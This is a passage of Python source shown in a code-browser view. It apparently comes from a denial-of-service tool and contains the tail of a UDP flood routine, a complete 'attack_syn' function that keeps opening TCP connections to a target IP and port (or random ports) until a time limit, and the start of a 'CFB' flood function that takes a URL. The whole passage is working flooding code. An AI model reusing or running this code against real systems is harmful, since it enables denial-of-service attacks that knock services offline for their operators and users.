(ip, port, secs)
| 358 | s.sendto(payload, (ip, port)) |
| 359 | |
| 360 | def attack_syn(ip, port, secs): |
| 361 | |
| 362 | while time.time() < secs: |
| 363 | |
| 364 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
| 365 | s.setblocking(0) |
| 366 | try: |
| 367 | dport = random.randint(1, 65535) if port == 0 else port |
| 368 | s.connect((ip, dport)) |
| 369 | s.connect((ip, dport)) |
| 370 | s.connect((ip, dport)) |
| 371 | s.connect((ip, dport)) |
| 372 | s.connect((ip, dport)) |
| 373 | s.connect((ip, dport)) |
| 374 | except: |
| 375 | pass |
| 376 | |
| 377 | def CFB(url,method,secs): |
| 378 | while time.time() < secs: |
nothing calls this directly
no outgoing calls
no test coverage detected